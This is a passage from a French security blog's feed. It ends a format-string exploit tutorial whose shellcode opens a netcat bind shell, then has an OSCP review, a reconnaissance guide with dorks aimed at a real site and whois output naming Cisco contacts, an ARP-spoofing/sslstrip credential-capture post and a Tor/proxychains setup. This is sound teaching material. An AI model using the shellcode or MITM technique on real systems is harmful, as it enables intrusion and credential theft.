&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) r &amp;lt; &amp;lt;(python -c &apos;print &quot;A&quot; + &quot;\x14\xa0\x04\x08&quot; + &quot;\x16\xa0\x04\x08&quot; + &quot;%49142x&quot; + &quot;%8$hn&quot; + &quot;%12909x&quot; + &quot;%7$hn&quot; + &quot;\x90&quot;*4 + &quot;\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80&quot;&apos;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt14.png&quot; alt=&quot;fmt14&quot; /&gt;&lt;br /&gt;
Here we go, essayons de nous connecter:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt15.png&quot; alt=&quot;fmt15&quot; /&gt;&lt;br /&gt;
Du coté de notre shellcode:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt16.png&quot; alt=&quot;fmt16&quot; /&gt;&lt;br /&gt;
Nous pouvons donc en conclure qu’à partir d’un simple appel &lt;em&gt;printf&lt;/em&gt;, il a été possible d’exécuter un bind shell. Bien évidemment ceci est un cas d’école et a été possible grâce à la désactivation de l’ASLR, rendant ainsi nos adresses prédictibles.&lt;/p&gt;

&lt;p&gt;Pour conclure, si vous rencontrez un souci entre l’exécution dans l’environnement gdb et votre shell, voici une réponse: &lt;a href=&quot;https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it&quot;&gt;https://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it&lt;/a&gt;. Assurez-vous que les environnements soient strictement identiques. Ce &lt;a href=&quot;https://github.com/hellman/fixenv&quot;&gt;script&lt;/a&gt; peut également vous aider à avoir le même environnement avec/sans debugging.&lt;/p&gt;

&lt;p&gt;N’hésitez pas à me contacter ou à laisser un com.&lt;br /&gt;
See Ya!&lt;/p&gt;

&lt;p&gt;Références:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Format_string_attack&quot;&gt;https://www.owasp.org/index.php/Format_string_attack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>OSCP: une première étape</title>
   <link href="https://phackt.org/certification-oscp"/>
   <updated>2017-02-17T00:00:00+00:00</updated>
   <id>https://phackt.org/certification-oscp</id>
   <content type="html">&lt;p&gt;Bonjour à tous,&lt;/p&gt;

&lt;p&gt;Premier article de l’année, cependant ces derniers temps furent bien remplis avec notamment le passage de l’&lt;a href=&quot;https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/&quot;&gt;OSCP&lt;/a&gt;. J’en profite donc pour écrire une petite revue sur cette certif en espérant partager des infos qui pourront vous être utiles.
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Qu’est-ce que l’OSCP?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/oscp/oscp1.png&quot; alt=&quot;oscp&quot; /&gt;&lt;/p&gt;

&lt;p&gt;L’OSCP est une certification en sécurité offensive (pentesting) délivrée par &lt;a href=&quot;https://www.offensive-security.com/&quot;&gt;Offensive Security&lt;/a&gt;, acteur majeur de la scène infosec puisqu’ils sont derrière plusieurs projets comme la distribution &lt;a href=&quot;https://www.kali.org/&quot;&gt;Kali&lt;/a&gt;, &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;The Exploit Database&lt;/a&gt;, ou encore la &lt;a href=&quot;https://www.exploit-db.com/google-hacking-database/&quot;&gt;Google Hacking Database&lt;/a&gt;.  L’OSCP permet de valider vos compétences concernant la formation PWK (Penetration testing With Kali).&lt;/p&gt;

&lt;p&gt;Le gros plus de cette formation est qu’elle va vous permettre de pratiquer dans un lab qui simule un réseau d’entreprise. On est donc loin de la classique certif QCM uniquement basée sur du bachotage. Ici vous passerez par toutes les étapes d’un pentest, et on ne vous répètera jamais assez… Enumerate, enumerate, enumerate ! Effectivement la reconnaissance est la première étape primordiale sur laquelle vous devrez mettre l’accent.&lt;/p&gt;

&lt;p&gt;Mais l’OSCP c’est également une communauté de passionnés, d’entraide, de chans slack ou IRC. Une belle aventure vous attend.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Déroulement&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;L’OSCP se compose d’un pdf de 375 pages, de ~150 vidéos d’une durée entre 2 ~ 10min, et d’un lab pour vous exercer. A l’issue de ce lab vous pourrez planifier votre examen, ou même avant si vous vous sentez prêt. Le lab est composé de 4 réseaux, un student network, qui lui même route sur un dev network et un it network, ce dernier routant également sur un admin network.&lt;/p&gt;

&lt;p&gt;Vous aurez donc à énumerer les machines (services, dns, domain controllers, webapp, vulns, …), à obtenir un premier accès utilisateur pour ensuite effectuer une élévation des privilèges et devenir root/system. Ne négligez pas la partie post-exploitation.&lt;/p&gt;

&lt;p&gt;Vous aurez à pivoter entre les différents réseaux, faire en fonction de solutions antivirales et pare-feux sur les machines. Il y a un nombre équivalent de machines virtuelles WIN/LINUX. Tous les exploits à utiliser sont référencés sur &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;exploit-db&lt;/a&gt;. Vous pouvez aussi utiliser l’outil en ligne de commande searchsploit.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Concernant les exploits&lt;/em&gt;:&lt;br /&gt;
Certains exploits fonctionneront out-of-the-box, d’autres demanderont plus d’attention et devront être modifiés pour matcher avec la machine cible, injecter votre propre payload, …&lt;/p&gt;

&lt;p&gt;Un point sur les BO: vous appréhenderez un stack overflow classique sur un exe sans protection DEP ou ASLR (ceci sera pour les autres certifs OSCE, OSEE). Ce fût une section kiff++, ce qui me fait me pencher sérieusement sur l’&lt;a href=&quot;https://www.offensive-security.com/information-security-certifications/osce-offensive-security-certified-expert/&quot;&gt;OSCE&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Si vous souhaitez rallonger la durée du lab, vous pourrez le faire avant l’expiration de ce dernier. Le lab vous préparera au mieux pour l’exam de 24h.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Durée / Tarifs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/oscp/prices.png&quot; alt=&quot;prices&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Tout dépend du temps que vous pourrez allouer à la formation. Je vous conseillerais, étant donné que vous pouvez étendre la durée du lab (cela vous reviendra un poil plus cher cependant), de ne pas viser une durée trop importante si vous avez une bonne capacité de travail.&lt;/p&gt;

&lt;p&gt;Personnellement, je bossais en moyenne 2h par jour en parallèle de mon job et full les week-end. Mais comme on dit quand on aime on ne compte pas. Au final j’étais parti sur un lab de 3 mois, et j’ai pu bouclé la certif en 2 mois. Il me reste donc un mois de lab pour quelques petites douceurs à savoir les dernières machines du réseau Admin :).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exam / Livrables&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Roulements de tambour, vous avez bouclé votre date d’exam, c’est le jour J, vous êtes chaud patate, let’s go…&lt;/p&gt;

&lt;p&gt;L’exam se déroule sur 24h. Pendant ces 24h vous aurez à hacker un certain nombre de machines qui vous rapporteront des points en fonction de leur difficulté et du niveau de compromission de la machine (low/high privileged shell).  Un &lt;strong&gt;minimum de 70 points&lt;/strong&gt; est requis pour obtenir la certification. Tout ce que vous verrez pendant l’exam a été vu dans le lab (les machines humble/pain/sufferance sont hors scope exam mais faites les).&lt;br /&gt;
Donc mon premier conseil est de passer du temps sur le lab et de compromettre un maximum de machines.&lt;/p&gt;

&lt;p&gt;Un exemple, mon exam a commencé à 10h, à 6h le lendemain j’avais réussi à compromettre toutes les machines (5 au total) et recueilli un maximum d’infos pour la rédaction du rapport. J’avais compromis 47 machines pendant le lab.&lt;/p&gt;

&lt;p&gt;Vous aurez ensuite à nouveau 24h pour rendre un rapport détaillé et professionnel sur votre test de pénétration. Ce rapport est obligatoire. OffSec vous fournira un template de rapport que vous pourrez utiliser si vous le souhaitez.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Point bonus&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Vous pouvez rendre un rapport sur les exercices du PDF et sur les machines compromises du lab. Chaque rapport peut vous rapporter 5 points (un total de 10 points bonus).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conseils&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Rédigez les rapports concernant les exercices du pdf et les étapes pour compromettre les machines du lab (10 machines minimum requises). Ces points pourront vous être précieux et vous enlèveront une dose de stress le jour de l’exam. Et puis ne serait-ce que sur un plan pédagogique cela vous permettra d’être certain d’avoir tout assimilé et de ne pas survoler les cours.&lt;/li&gt;
  &lt;li&gt;Organisez votre information et structurez la pour pouvoir y accéder rapidement. Utilisez un soft comme Keepnote/Cherrytree.&lt;/li&gt;
  &lt;li&gt;Utilisez la VM Kali fournie par OffSec.&lt;/li&gt;
  &lt;li&gt;Ne vous précipitez pas, prenez le temps d’avoir une vision précise de votre cible.&lt;/li&gt;
  &lt;li&gt;N’abandonnez-pas, échangez, discutez avec la communauté mais évitez de vous faire spoiler des indices. Vous en tirerez d’autant plus de gratitude en ayant &lt;strong&gt;try harder&lt;/strong&gt; :)&lt;/li&gt;
  &lt;li&gt;Le jour de l’exam, faites attention aux ‘rabbit-holes’. Si vous explorez une piste trop longtemps passez à autre chose. On ne vous demandera jamais de bruteforcer plus de 30 mins. Et ne négligez aucun détail de votre énumération. &lt;strong&gt;keep calm and enumerate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/oscp/tryharder.png&quot; alt=&quot;tryharder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;l’OSCP fût une excellente expérience et hautement addictive. Les 24h d’exams sont intenses, mais cela ne sera que du bonheur.&lt;/p&gt;

&lt;p&gt;N’hésitez pas à me contacter si vous souhaitez des infos sur le sujet!&lt;br /&gt;
&lt;a href=&quot;https://twitter.com/phackt_ul&quot;&gt;Twitter&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/phackt&quot;&gt;Github&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A bientôt!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Prise d'empreinte passive - Netcraft et Shodan</title>
   <link href="https://phackt.org/osint-passive-fingerprinting-netcraft-shodan"/>
   <updated>2016-12-05T00:00:00+00:00</updated>
   <id>https://phackt.org/osint-passive-fingerprinting-netcraft-shodan</id>
   <content type="html">&lt;p&gt;Bonjour à tous,&lt;/p&gt;

&lt;p&gt;Aujourd’hui nous parlerons de la prise d’empreinte passive et des plateformes &lt;a href=&quot;https://www.netcraft.com/&quot;&gt;netcraft&lt;/a&gt; et &lt;a href=&quot;https://www.shodan.io/&quot;&gt;shodan&lt;/a&gt;. La prise d’empreinte passive consiste en l’agrégation d’informations publiques concernant une cible (sans requêtage direct de ses serveurs).&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;La prise d’empreinte au sens large devra être la plus exhaustive possible pour maximiser la probabilité de réussite d’une attaque:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;prise d’informations sur l’entreprise et son activité (énumération des employés et adresses mail (&lt;a href=&quot;https://code.google.com/archive/p/theharvester/&quot;&gt;theharvester&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;base de données Whois&lt;/li&gt;
  &lt;li&gt;Google dorks&lt;/li&gt;
  &lt;li&gt;SMTP, SMB, SNMP, DNS enumeration (recon-ng, dnsrecon, nbtscan, enum4linux, snmpwalk)&lt;/li&gt;
  &lt;li&gt;Scan des services et des bannières&lt;/li&gt;
  &lt;li&gt;Scan des vulnérabilités (metasploit, nikto, OpenVAS, NSE vuln)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il est possible de collecter beaucoup d’informations via les moteurs de recherche. Pour cela je vous redirige vers l’excellent site d’Offensive Security &lt;a href=&quot;https://www.exploit-db.com/google-hacking-database/&quot;&gt;https://www.exploit-db.com/google-hacking-database/&lt;/a&gt; et la Google Cheat Sheet du SANS &lt;a href=&quot;https://www.sans.org/security-resources/GoogleCheatSheet.pdf&quot;&gt;https://www.sans.org/security-resources/GoogleCheatSheet.pdf&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Quelques exemples de recherches:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site:microsoft.com -site:www.microsoft.com&lt;/code&gt; (tous les sous domaines de microsoft)&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site:ameli.fr inurl:phpinfo.php&lt;/code&gt; (version de php)&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site:ameli.fr inurl:(cgi|api|webservice|private|portail) | (login OR pass OR admin)&lt;/code&gt; (potentielles pages de login)&lt;/p&gt;

&lt;p&gt;D’autres informations sur la prise d’empreinte passive:&lt;/p&gt;

&lt;h2 id=&quot;base-de-données-whois&quot;&gt;Base de données Whois&lt;/h2&gt;

&lt;p&gt;Selon Wikipedia: &lt;em&gt;Each registrar must maintain a Whois database containing all contact information for the domains they host. These databases are usually published by a Whois server over TCP port 43. The whois client can also perform reverse lookups. Rather than inputting a domain name, you can provide an IP address.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whois microsoft.com&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;recon-ng&quot;&gt;recon-ng:&lt;/h2&gt;

&lt;p&gt;Outil complet de prise d’empreinte: &lt;a href=&quot;https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home&quot;&gt;https://bitbucket.org/LaNMaSteR53/recon-ng/wiki/Home&lt;/a&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ recon-ng
[recon-ng][default] &amp;gt; use recon/domains-contacts/whois_pocs
[recon-ng][default][whois_pocs] &amp;gt; show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  cisco.com      yes       source of input (see &apos;show info&apos; for details)

[recon-ng][default][whois_pocs] &amp;gt; set SOURCE cisco.com
SOURCE =&amp;gt; cisco.com
[recon-ng][default][whois_pocs] &amp;gt; run

---------
CISCO.COM
---------
[*] URL: http://whois.arin.net/rest/pocs;domain=cisco.com
[*] URL: http://whois.arin.net/rest/poc/GAB42-ARIN
[*] [contact] Gary Abbott (gabbott@cisco.com) - Whois contact
[*] URL: http://whois.arin.net/rest/poc/SMA-ARIN
[*] [contact] Steve Acheson (satch@cisco.com) - Whois contact
[*] URL: http://whois.arin.net/rest/poc/ACKER5-ARIN
[*] [contact] Barry Ackerman (backerma@cisco.com) - Whois contact
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;recon-ng modules:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;show modules (pour lister tous les modules)
recon/domains-hosts/google_site_web (récupération des sous-domaines)
recon/domains-vulnerabilities/xssed (cherche dans la database http://xssed.com, sites vulnérables au XSS)
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;theharvester&quot;&gt;theharvester&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database&lt;/em&gt; - &lt;a href=&quot;http://www.edge-security.com/theharvester.php&quot;&gt;http://www.edge-security.com/theharvester.php&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| &apos;_ \ / _ \  / /_/ / _` | &apos;__\ \ / / _ \/ __| __/ _ \ &apos;__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* TheHarvester Ver. 2.7                                           *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************


Usage: theharvester options 

       -d: Domain to search or company name
       -b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
                        google-profiles, jigsaw, twitter, googleplus, all

       -s: Start in result number X (default: 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file (both)
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp doesn&apos;t use this option)
       -h: use SHODAN database to query discovered hosts

Examples:
        theharvester -d microsoft.com -l 500 -b google -h myresults.html
        theharvester -d microsoft.com -b pgp
        theharvester -d microsoft -l 200 -b linkedin
        theharvester -d apple.com -b googleCSE -l 500 -s 300
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Exemples de commandes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;theharvester -d mycompany.com -l 500 -b google -t -h -f results_google.html
theharvester -d mycompany.com -l 500 -b linkedin &amp;gt; results_linkedin.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;L’option -h utilise la base de données Shodan.io &lt;a href=&quot;https://www.shodan.io/&quot;&gt;https://www.shodan.io/&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;wwwshodanio&quot;&gt;www.shodan.io&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Shodan is a search engine that lets the user find specific types of computers (web cams, routers, servers, etc.) connected to the internet using a variety of filters. Some have also described it as a search engine of service banners, which are meta-data the server sends back to the client.[1] This can be information about the server software, what options the service supports, a welcome message or anything else that the client can find out before interacting with the server.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Shodan est un site de Data Mining dont les informations proviennent du scan d’adresses ip publiques. Leur service agrége toutes les informations sur les services exposés et leurs bannières. Un exemple, Shodan.io permet de détecter de nombreux &lt;a href=&quot;https://www.owasp.org/index.php/OWASP_Internet_of_Things_Project&quot;&gt;IoT&lt;/a&gt;, webcam, Industrial Control Systems, et j’en passe.&lt;/p&gt;

&lt;p&gt;Voici par exemple une capture d’écran d’une recherche sur les Caméras connectées ayant une ip géolocalisée sur Paris:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/passive-fingerprinting/shodan.png&quot; alt=&quot;shodan&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;wwwnetcraftcom&quot;&gt;www.netcraft.com&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Netcraft provides web server and web hosting market-share analysis, including web server and operating system detection. Netcraft also provides security testing, and publishes news releases about the state of various networks that make up the Internet.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Si vous souhaitez rechercher par nom de domaine: &lt;a href=&quot;https://searchdns.netcraft.com/&quot;&gt;https://searchdns.netcraft.com/&lt;/a&gt;.&lt;br /&gt;
Cliquez ensuite sur &lt;em&gt;Site Report&lt;/em&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/passive-fingerprinting/netcraft.png&quot; alt=&quot;netcraft&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ces bases de connaissance sont utiles pour qu’une entreprise puisse prendre connaissance des informations à disposition d’un assaillant. Exemple un simple mail pro utilisé dans un forum peut être utilisé pour du phising ciblé.&lt;/p&gt;

&lt;h2 id=&quot;passive-dns-databases&quot;&gt;Passive DNS databases&lt;/h2&gt;

&lt;p&gt;Les bases de passive DNS permettront d’obtenir passivement différent types d’enregistrements DNS (&lt;strong&gt;&lt;a href=&quot;https://passivedns.mnemonic.no/search&quot;&gt;Passive Mnemonic&lt;/a&gt;&lt;/strong&gt; est gratuit). D’autres solutions payantes existent comme DNSDB ou RisqIQ.&lt;/p&gt;

&lt;p&gt;A bientôt.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>MITM Partie 1 - Attaque MITM sur HTTPS</title>
   <link href="https://phackt.org/mitm-part1-attaque-mitm-sur-https"/>
   <updated>2016-10-01T00:00:00+00:00</updated>
   <id>https://phackt.org/mitm-part1-attaque-mitm-sur-https</id>
   <content type="html">&lt;p&gt;Bonjour à tous,&lt;/p&gt;

&lt;p&gt;L’objectif est de partager avec vous un &lt;a href=&quot;https://github.com/phackt/mitm&quot;&gt;script&lt;/a&gt; créé pour automatiser une attaque ‘Man In The Middle’ permettant l’obtention des identifiants de la victime de la façon la plus transparente possible.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Préambule:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nous allons donc cibler un site possédant au moins une page non sécurisée (HTTP), permettant ainsi l’interception en clair des liens HTTPS et de les transformer en liens HTTP classiques (&lt;em&gt;HTTP Strict Transport Security&lt;/em&gt; (HSTS) ne doit pas s’appliquer comme nous le verrons par la suite). Certains outils comme &lt;a href=&quot;https://github.com/moxie0/sslstrip&quot;&gt;sslstrip&lt;/a&gt; permettent ce genre d’opérations, en éliminant le caching des pages et en traitant également les headers response &lt;strong&gt;Location&lt;/strong&gt; lors des redirections.&lt;/p&gt;

&lt;p&gt;De notre coté nous utiliserons un script &lt;em&gt;Python&lt;/em&gt;, &lt;a href=&quot;https://github.com/phackt/mitm/blob/master/script/sslstrip.py&quot;&gt;sslstrip.py&lt;/a&gt;, développé pour l’occasion, que nous utiliserons avec l’outil &lt;a href=&quot;https://mitmproxy.org/&quot;&gt;mitmproxy&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Pour rappel:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;L’attaque de l’homme du milieu ou man-in-the-middle attack (MITM) est une attaque qui a pour but d’intercepter les communications entre deux parties, sans que ni l’une ni l’autre ne puisse se douter que le canal de communication entre elles a été compromis.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/mitm-phishing/owasp-man_in_the_middle.jpg&quot; alt=&quot;Mitm&quot; /&gt;&lt;br /&gt;
Cette attaque se base sur la corruption du cache ARP enregistrant les correspondances @IP &amp;lt;-&amp;gt; @MAC sur un réseau local.&lt;/p&gt;

&lt;p&gt;Toujours dans un contexte MITM, l’objectif est d’identifier les liens sécurisés et redirections (&lt;strong&gt;https&lt;/strong&gt;), de les ‘stripper’ en &lt;strong&gt;http&lt;/strong&gt;, dans le but de maintenir le type de connexion suivante:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;victime &amp;lt;-- HTTP --&amp;gt; mitmproxy &amp;lt;-- HTTPS --&amp;gt; website
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;!--more--&gt;

&lt;p&gt;Le but est qu’à partir d’une page non sécurisée d’un site, nous puissions continuer en proposant à notre victime une connexion en clair (http) pour analyser son trafic, &lt;strong&gt;mais que notre proxy communique en SSL/TLS avec le site concerné&lt;/strong&gt;. Cette attaque ne pourra pas aboutir sur des sites implémentant le &lt;a href=&quot;https://https.cio.gov/hsts/&quot;&gt;HSTS&lt;/a&gt; (sauf si l’utilisateur ne s’est jamais connecté au site et que le HSTS n’est pas préchargé - mécanisme de &lt;em&gt;Trust On First Use&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;Le stripping est effectué par le script &lt;a href=&quot;https://github.com/phackt/mitm/blob/master/script/sslstrip.py&quot;&gt;sslstrip.py&lt;/a&gt;, qui permet également de supprimer d’autres headers de sécurité, notamment les fameux cookies &lt;strong&gt;secure&lt;/strong&gt; que nous avons abordés dans un &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-2-xss-cookies-session&quot;&gt;article précédent&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Premier test:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Vous trouverez le projet full et à jour (de nouvelles features apparaissent régulièrement) sur mon &lt;a href=&quot;https://github.com/phackt/mitm&quot;&gt;github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Le script &lt;a href=&quot;https://github.com/phackt/mitm/blob/master/bin/chk_poison.py&quot;&gt;chk_poison.py&lt;/a&gt; va également permettre de vérifier que votre ARP poisoning est opérationnel dans les deux sens (Victime &amp;lt;-&amp;gt; Passerelle). N’oubliez pas que certaines protections filtrent les résolutions ARP non légitimes.&lt;/p&gt;

&lt;p&gt;Vous pouvez donc tester mitmproxy sans attaque MITM, en l’utilisant en mode &lt;a href=&quot;http://docs.mitmproxy.org/en/stable/modes.html&quot;&gt;Regular&lt;/a&gt;. La commande sera la suivante:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mitmproxy &lt;span class=&quot;nt&quot;&gt;--anticache&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--host&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--anticomp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--noapp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt; ./sslstrip.py &lt;span class=&quot;nt&quot;&gt;--eventlog&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Il convient ensuite de configurer votre navigateur avec le proxy http &lt;strong&gt;127.0.0.1:8080&lt;/strong&gt;. &lt;strong&gt;Ne mettez rien pour le proxy https&lt;/strong&gt;, l’objectif ici n’est pas de générer à la volée de faux certificats et donc nous ne souhaitons pas capturer le trafic chiffré.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mitm.sh&lt;/code&gt; permet également d’injecter un payload javascript (ex Beef) dans les pages de la victime et d’effectuer une attaque de social engineering par DNS spoofing.&lt;/p&gt;

&lt;p&gt;Vous trouverez une véritable attaque de bout en bout sur ce &lt;a href=&quot;https://phackt.org/mitm-part2-hands-on-mitm-attack-and-https&quot;&gt;post&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Je vous dis à très bientôt!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Anonymat avec TOR et Proxychains sous Kali</title>
   <link href="https://phackt.org/tor-proxychains"/>
   <updated>2016-09-17T00:00:00+00:00</updated>
   <id>https://phackt.org/tor-proxychains</id>
   <content type="html">&lt;p&gt;Bonjour à tous,&lt;/p&gt;

&lt;p&gt;Après m’être demandé comment lancer toutes mes commandes derrière un proxy &lt;a href=&quot;https://fr.wikipedia.org/wiki/SOCKS&quot;&gt;SOCKS&lt;/a&gt; pour masquer mon ip (certaines commandes ne proposent pas d’option pour rediriger vers un proxy SOCKS), vous pouvez vous en sortir grâce au réseau &lt;a href=&quot;https://fr.wikipedia.org/wiki/Tor_(r%C3%A9seau)&quot;&gt;TOR&lt;/a&gt; et un outil appelé &lt;a href=&quot;https://github.com/haad/proxychains/blob/master/src/proxychains.conf&quot;&gt;Proxychains&lt;/a&gt;.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;Installez tor et proxychains:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt-get install tor
apt-get install proxychains
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tor écoute par défaut sur le port &lt;strong&gt;9050&lt;/strong&gt;. Editer le fichier &lt;em&gt;/etc/tor/torrc&lt;/em&gt; et décommentez la ligne &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOCKSPort 9050&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Lancer ensuite TOR as a service:  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;service tor start&lt;/code&gt;&lt;/p&gt;

